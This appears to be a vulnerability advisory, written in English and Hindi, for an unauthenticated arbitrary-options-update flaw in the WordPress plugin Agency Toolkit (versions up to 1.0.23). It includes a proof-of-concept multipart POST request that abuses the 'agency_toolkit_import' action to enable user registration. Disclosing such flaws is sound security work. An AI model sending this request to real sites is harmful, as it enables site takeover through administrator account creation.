
Agency Toolkit <= 1.0.23 - Missing Authorization to Unauthenticated Arbitrary Options Update
Agency Toolkit <= 1.0.23 - बिना प्रमाणीकरण के मनमाने विकल्प अपडेट के लिए प्राधिकरण जाँच का अभाव
WordPress के लिए Agency Toolkit प्लगइन, 'agency_toolkit_import' एक्शन पर क्षमता जाँच (capability check) के अभाव के कारण, 1.0.23 सहित उससे पहले के सभी संस्करणों में डेटा के अनधिकृत संशोधन के प्रति संवेदनशील है, जिससे विशेषाधिकार वृद्धि (privilege escalation) हो सकती है। यह बिना प्रमाणीकरण वाले हमलावरों के लिए WordPress साइट पर मनमाने विकल्प (arbitrary options) अपडेट करना संभव बनाता है। इसका उपयोग पंजीकरण के लिए डिफ़ॉल्ट भूमिका को व्यवस्थापक (administrator) में बदलने और उपयोगकर्ता पंजीकरण सक्षम करने के लिए किया जा सकता है, ताकि हमलावर किसी संवेदनशील साइट पर व्यवस्थापकीय उपयोगकर्ता पहुँच प्राप्त कर सकें।
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--